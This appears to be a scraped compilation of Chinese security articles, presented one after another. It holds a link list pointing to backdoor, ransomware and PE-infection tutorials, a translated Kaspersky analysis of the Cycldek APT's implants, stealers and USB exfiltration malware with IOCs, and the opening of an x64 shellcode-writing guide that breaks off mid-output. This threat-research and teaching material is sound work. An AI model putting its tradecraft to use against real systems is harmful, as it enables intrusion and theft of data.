包含挖矿代码的app出现在Google Play（点击按钮之后会在后台运行一个WebView加载CoinHive的JS挖矿代码）
<https://blog.avast.com/cryptocurrency-mining-malware-sneaks-onto-google-play>
Demo视频：
Gibon勒索软件的免费解密工具
<https://download.bleepingcomputer.com/demonslay335/GibonDecrypter.zip>
又一个“隐藏的眼泪”勒索软件：文件名为The Art of Amazon Carding.pdf.exe
<https://www.virustotal.com/en/file/ea41a989d1f9f8bc01d81d6e9834204105bb1a07a01671a403478e82af02fa6b/analysis/1509504581/>
Snort 3.0 with ElasticSearch, LogStash, and Kibana (ELK) 发布
<http://blog.snort.org/2017/11/snort-30-with-elasticsearch-logstash.html>
如何感染PE文件Part II
<https://0x00sec.org/t/pe-file-infection-part-ii/4135>
Part I
<https://0x00sec.org/t/pe-file-infection/401>
Oracle PeopleSoft Enterprise PeopleTools < 8.55远程代码执行（通过XXE盲注）
<https://www.exploit-db.com/exploits/43114/>
<https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce>
如何构建自己的区块链 Part 3
<https://bigishdata.com/2017/11/02/build-your-own-blockchain-part-3-writing-nodes-that-mine/>
Part 1
<https://bigishdata.com/2017/10/17/write-your-own-blockchain-part-1-creating-storing-syncing-displaying-mining-and-proving-work/>
Part 2
<https://bigishdata.com/2017/10/27/build-your-own-blockchain-part-2-syncing-chains-from-different-nodes/>
xsssniper：XSS自动发现工具
<https://securityonline.info/xsssniper-automatic-xss-discovery-tool/>
CertStream – 实时查看发布的SSL证书 （含Python、JS、Go、Java的库）
<https://certstream.calidog.io/>
如何构造Android平台的勒索软件
<https://0x00sec.org/t/creating-ransomware-for-android/4063>
西班牙语原文：
<https://blog.underc0de.org/creando-ransomware-para-android/>
如何用Python建一个TCP后门Part 2
<https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-2/1040>
Part 1
<https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-1/1038>
Linux平台如何感染运行的进程
<https://0x00sec.org/t/linux-infecting-running-processes/1097>
<https://github.com/0x00pf/0x00sec_code/tree/master/mem_inject> | 社区文章 |
**原文链接：[Cycldek: Bridging the (air) gap](https://securelist.com/cycldek-bridging-the-air-gap/97157/ "Cycldek: Bridging the \(air\) gap")**
**译者：知道创宇404实验室翻译组**
## **主要发现**
在调查关于Cycldek组织2018年后有关攻击活动时，发现对该组织的信息了解甚少。本文旨在弥合对该组织的知识鸿沟，了解其最新活动和操作方式。以下是关于该组织的相关信息：
* Cycldek（也称为Goblin Panda和Conimes）在过去两年中一直很活跃，对东南亚地区国家政府进行了针对性的攻击活动。
* 相关活动的分析显示了两种不同的模式，表明该组织是由一个领导管理的两个运营实体组成。
* 我们检测发现到了用于目标网络的横向移动和信息窃取的工具，其中包括自定义工具、未报告工具以及二进制文件。
* 最新公布的工具之一被命名为USBCulprit，其通过USB媒体来提取受害者的数据。这表明Cycldek可能正试图到达受害者环境中的气隙网络，或依靠物理存在达到同样的目的。
## **背景**
Cycldek是久负盛名的使用中文的威胁组织。基于该组织过去的活动，发现它对东南亚地区有浓厚的兴趣，而且主要关注在越南的大型组织和政府机构。
* 2013年，正如CrowdStrike 简要[描述的](https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/)那样，在多个行业的公司网络中都发现了该集团的附属指标。
* 2014年，CrowdStrike针对东南亚组织，尤其是越南进行了大规模的攻击活动。这些活动主要使用越南语作为诱饵文件，传播诸如PlugX之类的恶意软件。
* 2017年，据Fortinet报道，该组织使用含有越南政治内容的RTF诱饵文件发起攻击，删除了名为NewCore RAT的恶意程序的变种。
* 2018年，东南亚地区多个国家（包括越南、泰国和老挝）的政府组织使用各种工具和新的TTP进行了攻击。其中包括使用Royal Road构建器，NewCore RAT恶意软件的开发版本以及其他未报告的植入程序。自2019年10月以来，这已经成为卡巴斯基威胁情报门户网站报告的重点，也是本文的主题。
Cycldek攻击时间表
2018年以来，我们发现大多数攻击都始于以8.t文档生成器（也称为‘Royal
Road’）构建的具有政治主题的RTF文档，会通过网络钓鱼邮件的形式发送给受害者。这些文档捆绑了漏洞利用程序（例如CVE-2012-0158，CVE-2017-11882，CVE-2018-0802），这些漏洞又为三个文件运行了一个释放器：
* 合法签名的应用程序，通常与AV产品相关，如QcConsol–McAfee的QuickClean应用程序、Avast的服务程序wsc_proxy.exe。
* 恶意DLL，由之前的应用程序进行加载。
* 加密的二进制文件，由DLL解密并执行。
在内存中运行的最终有效负载是一个称为NewCore
RAT的恶意软件。它基于一个名为PcShare的开源框架，该框架十多年前在中国黑客论坛盛行。如今，该软件在[Github](https://github.com/xdnice/PCShare)上已经完全可用，攻击者可以根据自己的需要来利用或修改它。
以Cycldek为例，该组织于2017年使用NewCore的第一个公共帐户。如Fortinet的文章所述，该恶意软件为攻击者提供了广泛的功能，其可使文件进行一系列操作、截屏，并通过远程外壳控制机器对计算机进行关闭或重启。
## 两大植入变体
在我们调查各种攻击期间交付的NewCore
RAT恶意软件时，我们能够区分出两大变种。两者都是作为侧载DLL部署的，在代码和行为上有多个相似之处。同时我们注意到，不同的操作符可以使用不同的变体。
分析表明，潜在的恶意软件因为使用方式不同形成了两个活动集群。我们将变种命名为BlueCore和RedCore，对每个变种周围发现的相关信息进行了检查，下表总结了相关的植入变体特征：
如表所示，这些变体具有相似行为。两者都使用DLL加载顺序劫持来运行DLL中的代码，模拟合法的AV应用程序的依赖关系，并且都共享随机UUID的互斥体命名。通过比较两大植入的变体，我们可以发现源自PCShare
RAT的多种功能，但是其他一些代码(如下图中的注入代码)是专有的。
代码相似性
此外，两种植入变体都利用了类似加载RedCore和BlueCore植入软件的shell代码。shell代码在文件的‘stdoletlb’和‘msgsm64.acm’中，其包含用于从嵌入式blob解密植入软件的的原始可执行文件，然后将其映射到内存，并在入口点执行例程。由于这两种变体的两段shell代码是相同的，且属于不同的开源项目，因此我们认为它们来自一个专有的共享资源。
两个集群中shellcode使用的二进制解密函数的调用流程图比较
但两大变体也存在差别，下面是仅在RedCore植入软件中找到的功能示例；
* 键盘记录器：RedCore记录当前前景窗口的标题（如果存在），并以每10ms的击键记录到一个大小为65530的内部缓冲区中。当该缓冲区被填充时，来自其中的数据将被写入名为“ RCoRes64.dat”的文件中，其使用的是单字节XOR和密钥0xFA对数据进行的编码。
* 设备枚举器：RedCore注册了一个窗口类，该类旨在通过回调来拦截窗口消息，而信息的发送则是由于DBT_DEVICEARRIVAL运行。此类事件表明设备已连接至系统，设备也会将逻辑驱动器的位图发送到C＆C。
* RDP记录器：RedCore通过ETW订阅RDP连接事件，并在事件发生时向C＆C发送通知。处理此功能的代码基于Github存储库，名为[EventCop](https://github.com/Mandar-Shinde/EventCop)，该存储库旨在获取通过RDP连接到系统的用户列表。由于修改了开放源代码，恶意软件不会打印传入连接的数据，而会联系C＆C并通知其有关连接事件的信息。
* 代理服务器：RedCore产生一个服务器线程，该线程观察预先配置的端口（默认为49563）并接受来自非本地主机连接的请求。服务器开始运行之前，会对进程进行防火墙通过处理，所有的请求也都会验证通过，接着按照原始格式传递给C＆C。
这两种植入最显著的区别是他们用来连接和指向C&C服务器的URL方案不同。通过在遥测中查找使用类似URL模式发出的请求，我们能够找到多个C&C服务器，并基于上述两个集群划分底层基础设施架构。每一种恶意软件的请求都只由合法和签名的应用程序发出，这些应用程序或被用来装载一个恶意DLL，或被注入恶意代码，所有被发现的域都会用于下载进一步的示例。
每个植入程序用于C2通信的URL方案的差异
由此我们得出的结论是，尽管所有目标都是外交和政府实体，但每组活动都有不同的地理重点。BlueCore集群背后的运营商将大部分精力投入到了越南目标上，并在老挝和泰国建立了多个离群值，而RedCore集群的运营商最初则侧重于越南，2018年底转移到了老挝。相关数据如图：
C＆C下载的样本数量
通过对比我们发现看到的活动属于单个参与者，我们称之为Cycldek。在一些情况下，我们发现了从两个组的服务器下载的由组编写的独特工具。如下图所示，其中一个例子是USBCulprit组织自定义构建的工具，它的两个样本是从BlueCore和RedCore服务器下载的，附录中提供了更全面的列表。总而言之，这意味着这些集群后面运行的实体正在共享多个资源（包括代码和基础结构），并且在单个组织的保护下运行。
从两个群集的服务器下载名为USBCulprit的恶意软件示例
## 信息窃取和横向移动工具集
在分析过程中，我们能够观察到从BlueCore和RedCore植入程序中下载的各种工具，这些工具既可以在受感染的网络中横向移动，也可以从受感染的节点窃取信息。这些工具有几种类型，有些是专有的，以前不曾见过，有些是从开源漏洞利用框架中复制的软件（其中的一些有特定的攻击对象）。
在RedCore和BlueCore的例子中，下载的工具都是作为合法签名应用程序端加载DLL调用的。此类应用程序包括AV组件，例如wsc_proxy.exe（Avast修复服务），qcconsol.exe和mcvsshld.exe（McAfee组件），以及合法的微软和谷歌工具（如资源编译器rc.exe和谷歌更新googleupdate.exe）。使用这些工具可以绕过弱安全机制（如应用白名单），在执行过程中向恶意软件授予其他权限，或者使事件响应变得复杂化。
与RedCore和BlueCore一样，下载的工具都被作为合法签名应用程序的侧面加载DLL调用。此类应用程序包括AV组件，例如wsc_proxy.exe（Avast修复服务），qcconsol.exe和mcvsshld.exe（McAfee组件），以及合法的Microsoft和Google实用程序，例如资源编译器（rc.exe）和Google
Updates。可以使用这些工具来绕过诸如应用程序白名单之类的弱安全机制，在执行过程中向恶意软件授予其他权限，使事件变得复杂化。
正如已经提到的那样，这些工具中的大多数是常见的，并且在攻击者中广泛使用，有时也称为非现场二进制文件或LOLbins。此类工具是合法开源软件的一部分，但却被滥用进行恶意活动。其中示例包括BrowserHistoryView（用于从常见浏览器获取浏览历史记录的Nirsoft实用程序），ProcDump（用于转储内存的Sysinternals工具，可能从运行的进程中获取密码），Nbtscan（用于扫描IP网络以获取NetBIOS信息的命令行实用程序）和PsExec（Sysinternals工具用于在网络中远程执行命令，通常用于横向移动）。
其余工具要么由攻击者完全开发，要么使用之前已开发的工具。以下是几个著名的示例：
* **自定义后门：** 这是之前开发的工具，可提供齐全的后门功能，如远程机器管理、信息盗窃、横向移动和DDoS攻击的发起。它由黑客Wicked Rose开发，在中国的黑客论坛中流行了一段时间，以其为基础的变体形式进入了APT世界（如Naikon APT它利用了原始工具）。Cycldek自定义版本利用了小部分功能，攻击者可以用它来扫描内部网络并在受感染主机之间创建隧道，这样可以避免网络被检测并能成功绕过代理。此外，该工具还允许攻击者通过访问未连接互联网的计算机来窃取隔离主机中的数据。
自定义HDoor工具的命令行用法
- **JsonCookies：** 专有工具，可从基于Chromium的浏览器的SQLite数据库中窃取Cookie。可从C＆C下载sqlite3.dll库，运行期间使用它来解析数据库并生成一个名为“FuckCookies.txt”的JSON文件。其文件中的条目与此类似：
{
"domain": ".google.com",
"id": 1,
"name": "NID",
"path": "/",
"value": "%VALUE%"
}
- **ChromePass：** 专有工具，可从基于Chromium的浏览器数据库中窃取保存的密码。解析的数据库会输出一个HTML文档，文档中包含一个带有URL的表以及相应的被盗用户名和密码信息。具体操作如图所示：
ChromePass工具的命令行用法
## 恶意软件：USBCulprit
Cycldek工具集中最能说明数据窃取和横向移动功能的示例是我们称为USBCulrpit的恶意软件。RedCore植入软件在多个示例中下载了该工具，它能够扫描受害机器的各种路径，收集具有特定扩展名的文档，在连接到系统后将数据传递给USB驱动器。它还能在特定环境下选择性复制内容到可移动驱动器中，这些操作表明可以通过感染指定的驱动器并手动打开其中的可执行文件，将其横向传播。
在恶意软件处于活动状态期间，功能上的变化很少。基于卡巴斯基的遥测技术，USBCulprit
2014年出现，最近的更新活动在2019年底。2017年以后检测到的样本中最突出的新增功能是能够从连接的USB执行指定文件的名称，这表明恶意软件可以扩展到其他模块。然而，我们无法捕获任何这样的文件，它们的目的目前仍然未知。
我们看到的另一个变化是2017年以后发现的变体的加载方案。旧版本使用了一个删除器，它将一个配置文件写入磁盘，并提取出包含合法二进制文件和恶意端加载DLL的嵌入式Cabinet存档。这在新版本中得到了改进，还增加了一个额外的阶段，如使侧面加载的DLL解密并从包含恶意负载的归档中加载第三个文件。结果，后者只能在内存中以解密形式找到。
这个加载方案表明，它背后的操作者利用了先前描述的归因于Cycldek的植入软件中所见的类似TTP。如，模仿AV组件的二进制文件被用于执行DLL负载顺序劫持。在这样的情况下，从cabinet归档文件中删除的一个名为wrapper.exe的文件(最初名为PtUserSessionWrapper.exe，)强制执行一个名为TmDbgLog.dll的恶意DLL。此外，该恶意软件利用加密blob，使用RC4解密并用自定义PE加载器执行。完整的链如下图所示：
USBCulprit的加载流程
将USBCulprit加载到内存并执行后，它将分三个阶段运行：
* **引导和数据收集：** 这个阶段为恶意软件的执行准备环境。它调用名为“CUSB::RegHideFileExt”和“CUSB::RegHideFile”的两个函数，这些函数修改注册表键来隐藏Windows中文件的扩展名，并将验证隐藏的文件不显示给用户。它还会向磁盘写入多个文件到初始化数据结构的路径中，这些路径之后会被恶意软件使用或进行搜索。此外，该恶意软件使用一个名为‘CUSB::USBFindFile’的函数通过扫描来进行文件收集。如利用几个预定义的目录来查找具有以下任一扩展名的文档: _.pdf;_.doc; _.wps;_ docx; _ppt;_.xls; _.xlsx;_.pptx; _.rtf_ 。找到的文档都记录在一个文件中。
然后将选择的文件分组到加密的RAR档案中。为了实现这一点，该恶意软件提取了一个“rar.exe"命令行实用程序，并针对创建的列表运行该程序。存档的密码在恶意软件开始执行时初始化，对于我们观察到的大多数变体，都被设置为“abcd！@＃$”。
值得注意的是，可以按其修改日期过滤所搜索的文档。USBCulprit的多种变体会在执行恶意软件的目录中检查名为“time”的文件。该文件应具有指定修改时间戳记的日期时间值，超出该值时，文件将被视为您感兴趣的文件并应被收集。如果“
time”文件不存在，则使用默认值“ 20160601000000”进行创建，该值对应于01/06/2016 00:00:00。
* **USB连接拦截和进行数据渗透/传送：** 当引导和数据收集完成时，恶意软件试图拦截新媒体的连接，并验证它对应驱动器。这是一个无限循环的过程，该恶意软件会进入休眠状态并在固定的时间被唤醒，使用GetDriveTypeW函数检查所有连接的驱动器。如果存在至少一个驱动器类型为DRIVE_REMOVABLE，则将采取进一步的措施。
连接USB后，恶意软件将验证偷来的数据进行复制或验证。在驱动器中搜索名为“$Recyc1e.Bin”的目录，如果找不到该目录，则会创建该目录。此目录将作为文件复制到驱动器的目标路径或从中获取文件的源路径。
为了了解应按哪个方向进行文件复制，在本地搜索名为“1.txt”的特殊标记文件。如果存在，该恶意软件可能会寻找“$Recyc1e.Bin”目录，并尝试将其复制到磁盘。否则，本地存档文件将从磁盘复制到驱动器的同一目录中。
USBCulprit检查1.txt标记
* **横向移动和扩展:** 作为上述循环的一部分，将在本地检查是否存在另一个名为“2.txt”的标记文件，以确定是否应进行横向移动。只有该文件存在，恶意软件的二进制文件才会从其本地路径复制到“$Recyc1e.Bin”本地目录。值得注意的是，我们无法发现任何可通过USB连接触发恶意软件执行的机制，这使我们相信该恶意软件应该由人工处理。除上述之外，USBCulprit能够更新本身或通过其他模块扩展其执行，这是通过在USB中查找预定义文件并执行它们来完成的。这些示例包括{D14030E9-C60C-481E-B7C2-0D76810C6E96}和{D14030E9-C60C-481E-B7C2-0D76810C6E95}。我们在分析过程中无法获得这些文件，也无法说出它们的确切目的。根据它们的行为，我们只能猜测它们被用为作扩展模块或已经是恶意软件本身的更新版本。前者是一个归档文件，它被解压缩到一个特定目录，该目录的文件枚举并使用一个名为‘CUSB::runlist’的内部函数执行，而后者是一个二进制文件，复制到%TEMP%目录并作为一个新进程生成。
恶意软件的特征可以让我们对它的目的做出一些假设，其中一个假设是要从具有空隙的计算机中获取数据。这就解释了恶意软件中没有任何网络通信，只使用移动媒体作为传输入站和出站数据的手段。此外，我们还看到一些变体发出命令来收集主机网络信息的不同部分，这些数据被记录到一个文件中，然后与被窃取的数据一起传输到USB上，这可以帮助攻击者分析被执行恶意软件的计算机是否属于隔离网络的一部分。
用于配置受感染主机的网络连接的命令
另外我们认为该恶意软件是由地面操作人员手动处理的。如前所述，没有明显的机制可以从受感染的媒体自动执行USBCulprit，但是我们看到同一示例是从多个驱动器位置执行的，这表明它确实散布在周围。恶意软件寻找非常特定的文件作为可执行扩展名，而在我们的调查中找不到其他数据，这表明是需要人为因素来协助将恶意软件部署在受害网络当中的。
## 结论
Cycldek是一个比公众想象的更难的操作软件示例。尽管大多数活动给人描述的印象是一个能力欠佳的边缘组织，但工具的范围和行动时间表明，该组织在东南亚备受关注的而且目标网络中拥有广泛的立足点。
此外，我们对隶属于该组织的植入程序分析可以更深入了解组织结构。如前所述，这些恶意软件的各种特征之间的相似性和差异表明，它们很可能起源于单个组织的不同部门。
最后我们认为，此类攻击将在东南亚国家继续发生。过去曾目睹使用不同的工具到达同一国家的气隙网络，并试图从中窃取数据。我们的分析表明，就恶意软件参与者而言这种活动并未停止，它只是改变了形式。我们将继续跟踪操作者并在我们的威胁情报门户网站中进行情报的持续更新。
## IOCs
**RedCore:**
A6C751D945CFE84C918E88DF04D85798 – wsc.dll (side-loaded DLL)
4B785345161D288D1652C1B2D5CEADA1 – msgsm64.acm (encrypted shellcode and
implant)
**BlueCore:**
1B19175C41B9A9881B23B4382CC5935F – QcLite.dll (side-loaded DLL)
6D2E6A61EEDE06FA9D633CE151208831 – QcLite.dll (side-loaded DLL)
6EA33305B5F0F703F569B9EBD6035BFD – QcLite.dll (side-loaded DLL)
600E14E4B0035C6F0C6A344D87B6C27F- stdole.tlb (encrypted Shellcode and Implant)
**Lateral Movement and Info-Stealing Toolset:**
1640EE7A414DFF996AF8265E0947DE36 Chromepass
1EA07468EBDFD3D9EEC59AC57A490701 Chromepass
07EE1B99660C8CD5207E128F44AA8CBC JsonCookies
809196A64CA4A32860D28760267A1A8B Custom HDoor
81660985276CF9B6D979753B6E581D34 Custom HDoor
A44804C2767DCCD4902AAE30C36E62C0 Custom HDoor
**USB Culprit:**
A9BCF983FE868A275F8D9D8F5DEFACF5 USBCulprit Loader
C73B000313DCD2289F51B367F744DCD8 USBCulprit Loader
2FB731903BD12FF61E6F778FDF9926EE USBCulprit Loader
4A21F9B508DB19398AEE7FE4AE0AC380 USBCulprit Loader
6BE1362D722BA4224979DE91A2CD6242 USBCulprit Loader
7789055B0836A905D9AA68B1D4A50F09 USBCulprit Loader
782FF651F34C87448E4503B5444B6164 USBCulprit Loader
88CDD3CE6E5BAA49DC69DA664EDEE5C1 USBCulprit Loader
A4AD564F8FE80E2EE52E643E449C487D USBCulprit Loader
3CA7BD71B30007FC30717290BB437152 USBCulprit Payload
58FE8DB0F7AE505346F6E4687D0AE233 USBCulprit Payload
A02E2796E0BE9D84EE0D4B205673EC20 USBCulprit Payload
D8DB9D6585D558BA2D28C33C6FC61874 USBCulprit Payload
2E522CE8104C0693288C997604AE0096 USBCulrprit Payload
**Toolset overlapping in both clusters:**
**C &Cs and Dropzones:**
**Red Cluster:**
http://web.laovoanew[.]com
http://tinmoi.vieclamthemde[.]com
http://kinhte.chototem[.]com
http://news.trungtamwtoa[.]com
http://mychau.dongnain[.]com
http://hcm.vietbaonam[.]com
http://login.thanhnienthegioi[.]com
http://103.253.25.73
([ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=103.253.25.73
"ZoomEye搜索结果"))
http://luan.conglyan[.]com
http://toiyeuvn.dongaruou[.]com
http://tintuc.daikynguyen21[.]com
http://web.laomoodwin[.]com
http://login.giaoxuchuson[.]com
http://lat.conglyan[.]com
http://thegioi.kinhtevanhoa[.]com
http://laovoanew[.]com
http://cdn.laokpl[.]com
**Blue Cluster:**
http://login.dangquanwatch[.]com
http://info.coreders[.]com
http://thanhnien.vietnannnet[.]com
http://login.diendanlichsu[.]com
http://login.vietnamfar[.]com
http://cophieu.dcsvnqvmn[.]com
http://nghiencuu.onetotechnologys[.]com
http://tinmoi.thoitietdulich[.]com
http://khinhte.chinhsech[.]com
http://images.webprogobest[.]com
http://web.hcmuafgh[.]com
http://news.cooodkord[.]com
http://24h.tinthethaoi[.]com
http://quocphong.ministop14[.]com
http://nhantai.xmeyeugh[.]com
http://thoitiet.yrindovn[.]com
http://hanghoa.trenduang[.]com
* * * | 社区文章 |
# 【技术分享】Windows x64 shellcode编写指南
|
##### 译文声明
本文是翻译文章，文章来源：tophertimzen.com
原文地址：<https://www.tophertimzen.com/blog/windowsx64Shellcode/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[xgxgxggx](http://bobao.360.cn/member/contribute?uid=2830254841)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
最近我重写了几个shellcode，将之前32位平台下实现的shellcode移植到64位平台。在向64位平台移植过程，我发现很难在网上找到相关资料，因此我将我的移植过程写成一篇博客（我的第一篇），希望能帮到像我一样需要移植64位shellcode的人。
网上已经有几篇教程介绍关于shellcode的相关基础知识了，因此我不会介绍这些。虽然我会介绍关于调用约定、register
clobbering和寄存器相关知识，但是我不会讨论很多汇编基础知识。
请参考Skape的[Understanding Windows Shell
code](https://publish.adlab.corp.qihoo.net:8360/contribute/www.nologin.com/Downloads/Papers/win32-shellcode.pdf)等文章，或者资源[project-shellcode](http://www.projectshellcode.com/)进行深入学习(Understanding Windows Shell
code原始链接失效，这里替换了，原始链接为[http://repo.hackerzvoice.net/depot_madchat/windoz/vulns/win32-shellcode.pdf)。](http://repo.hackerzvoice.net/depot_madchat/windoz/vulns/win32-shellcode.pdf\)%E3%80%82)
我将介绍32位汇编与64位汇编的差异，以及如何利用Windows系统中的结构体用于开发64位shellcode。我还将介绍我开发的2种漏洞利用辅助开发工具。
在开始之前需要说明的是我仍然在学习漏洞利用开发的初级阶段，为简单化，本文实验的系统为Window 7
x64版本。为简化叙述，x86指Win32平台，x64指Win64平台。
**寄存器(Registers)**
**x86**
x86处理器中有8个32位的通用寄存器
– eax-累加器
– ecx-计数寄存器
– edx-数据寄存器
– ebx-基地址寄存器
– esp-堆栈指针
– ebp-基址指针
– esi-源索引寄存器
– edi-目标索引寄存器
– eip-指令寄存器
由于向后兼容原因，其中4个寄存器（eax,ebx,ecx,edx）可以拆分16位和8位寄存器
– AX-EAX的低16位
– AH-AX的高8位
– AL-AX的低8位
– BX-EBX的低16位
– BH-EBX的高8位
– BL-EBX的低8位
ECX和EDX也使用字母（C,D）和后缀（X,H或L）表示16位和8位寄存器。
**x64**
64位处理器使用前缀“R”扩展上述8个寄存器，RAX,RCX,RDX等。需要注意的是x86平台下的寄存器表示方式仍然可用（eax,ax,al等）。
还引入了8个新的寄存器，r8、r9、r10、r11、r12、r13、r14和r15。这些寄存器也可以分为32位、16位和8位的版本。
– r#=64位
– r#d=低32位
– r#w=低16位
– r#b=8位
不幸的是，这些新的8位扩展寄存器不能够使用像eax中的低16位的高8位
**Clobber寄存器(Clobber Registers)**
Clobber寄存器是一些可能在函数（如Windows
API）中被覆盖修改的寄存器。在汇编代码中不应该使用这些寄存器，容易引发程序不稳定，但是如果明确知道在api函数中那些寄存器会别修改还是可以使用这些寄存器的。
在Win32 API中,EAX、ECX和EDX都是Clobber寄存器，在Win64
API中，除了RBP、RBX、RDI、RSI、R12、R13、R14和R15，其他的寄存器都是Clobber寄存器。
RAX和EAX分别用于x64和x86函数的返回值。
**调用约定(Calling Convention)**
**x86**
Win32 API一般使用__stdcall调用约定，从右到左向堆栈上传递参数。
如调用函数有两个参数int x和int y的函数foo
foo(int x,int y)
在堆栈上传递为
push y
push x
**x64**
Win64平台下函数调用约定不同，但与Win32平台下的__fastcall相似，均使用寄存器传参，前四个参数分别使用RCX、RDX、R8和R9传递，其他多余的参数使用堆栈传递。需要注意的是，使用寄存器传参时从右到左传递参数。
如对Windows函数MessageBox的调用声明如下：
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
在Win64调用预定下，参数为:
r9 = uType
r8 = lpCaption
rdx = lpText
rcx = hWnd
**Shellcode**
****让我们开始吧，现在Win64下的Shellcode与Win32的关键区别我们已经知道了，开始我们的文章吧。
为显示运行Win64
shellcode，我将编写代码弹出MessageBox对话框。当shellcode最终完成后，我将使用我编写的工具将shellcode代码注入到calc进程中，验证shellcode能够在另一个进程中运行。
**注释**
我将使用NASM编译汇编代码，使用Jeremy
Gordon编写的golink链接程序。使用你最喜欢的文本编辑器编辑汇编代码，我使用Windows平台下的Notepad++,然后开始编写代码。
**开始**
**1).声明NASM指令**
bits 64
section .text
global start
**2).设置堆栈**
start:
sub rsp, 28h ;reserve stack space for called functions
and rsp, 0fffffffffffffff0h ;make sure stack 16-byte aligned
**3).得到Kernel32的基地址**
Win64与Win32平台的PEB结构位置是不同的，在Win32中，PEB为[fs:30h]指向的地址，而在Win64为[gs:60h]
虽然PEB结构发生了巨大变化，但是我们只关心LDR链表(PEB_LDR_DATA)所在的未知，在Windbg中使用”!peb”命令可以得到LDR所在的位置。
在Windbg输出的PEB结构中，Ldr.InMemoryOrderModuleList中包含Kernel32.dll,在链表第三个未知，此列表显示了进程中各个内存模块（PE文件，可执行文件和dll文件）在内存中所在的位置。
Ldr.InMemoryOrderModuleList: 00000000002b3150 . 00000000002b87d0
Base TimeStamp Module
ff600000 4a5bc9d4 Jul 13 16:57:08 2009 C:WindowsSystem32calc.exe
77b90000 4ce7c8f9 Nov 20 05:11:21 2010 C:WindowsSYSTEM32ntdll.dll
77970000 4ce7c78b Nov 20 05:05:15 2010 C:Windowssystem32kernel32.dll
通过在Windbg中使用dt命令填充PEB结构，确定Ldr链表所在的位置。
0:000> dt _PEB 000007fffffd4000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x8 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00000000`ff600000 Void
+0x018 Ldr : 0x00000000`77cc2640 _PEB_LDR_DATA
Ldr链表位于PEB的0x18位置
现在，我们还需要做一下步骤：
– 通过在PEB偏移0x18处获得Ldr链表，获得Ldr链表后，访问位于Ldr结构偏移0x20处的InMemoryOrderModuleList，如下输出
0:000> dt _PEB_LDR_DATA 77cc2640
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x58
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000000`002b3140 - 0x00000000`002b87c0 ]
+0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000000`002b3150 - 0x00000000`002b87d0 ]
+0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x00000000`002b3270 - 0x00000000`002b87e0 ]
+0x040 EntryInProgress : (null)
+0x048 ShutdownInProgress : 0 ''
+0x050 ShutdownThreadId : (null)
–
偏移0x20处为InMemoryOrderModuleList，由InMemoryOrderModule列表的输出的图中可以看出，Kernel32.dll是第3个内存模块。在_LIST_ENTRY结构包含向前和向后的指针，所有_LIST_ENTRY组成一个循环链表，通过这个链表可以找到Kernel32的基地址。
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
在Windbg中，使用!list可以遍历遍历_LIST_ENTRY结构组成的链表。!lis
-x可以用于为每个位置的元素指定一个命令。我们用它去解析_PEB_LDR_DATA结构中的0x20偏移量，并通过_LIST_ENTRY元素进行解析。
将列出所有InMemoryOrderModule链表并显示相关的_LDR_DATA_TABLE_ENTRY
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x010 InMemoryOrderLinks : _LIST_ENTRY
+0x020 InInitializationOrderLinks : _LIST_ENTRY
+0x030 DllBase : Ptr64 Void
+0x038 EntryPoint : Ptr64 Void
+0x040 SizeOfImage : Uint4B
+0x048 FullDllName : _UNICODE_STRING
+0x058 BaseDllName : _UNICODE_STRING
+0x068 Flags : Uint4B
+0x06c LoadCount : Uint2B
+0x06e TlsIndex : Uint2B
+0x070 HashLinks : _LIST_ENTRY
+0x070 SectionPointer : Ptr64 Void
+0x078 CheckSum : Uint4B
+0x080 TimeDateStamp : Uint4B
+0x080 LoadedImports : Ptr64 Void
+0x088 EntryPointActivationContext : Ptr64 _ACTIVATION_CONTEXT
+0x090 PatchInformation : Ptr64 Void
+0x098 ForwarderLinks : _LIST_ENTRY
+0x0a8 ServiceTagLinks : _LIST_ENTRY
+0x0b8 StaticLinks : _LIST_ENTRY
+0x0c8 ContextInformation : Ptr64 Void
+0x0d0 OriginalBase : Uint8B
+0x0d8 LoadTime : _LARGE_INTEGER
在_LDR_DATA_TABLE_ENTRY结构中，InLoadOrderLinks指向下一个模块结构，DllBase是模块的基地址，FullDllName是它模块名称的Unicode字符串。
因为我们知道kenel32.dll是第三个模块
0:000> !list -t ntdll!_LIST_ENTRY.Flink -x "dt _LDR_DATA_TABLE_ENTRY @$extret" 002b3270
---CUT
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`002b3830 - 0x00000000`002b3260 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`002b4980 - 0x00000000`002b3840 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`77970000 - 0x00000000`77985ea0 ]
+0x030 DllBase : 0xbaadf00d`0011f000 Void
+0x038 EntryPoint : 0x00000000`00420040 Void
+0x040 SizeOfImage : 0x2b35c0
+0x048 FullDllName : _UNICODE_STRING "kernel32.dll"
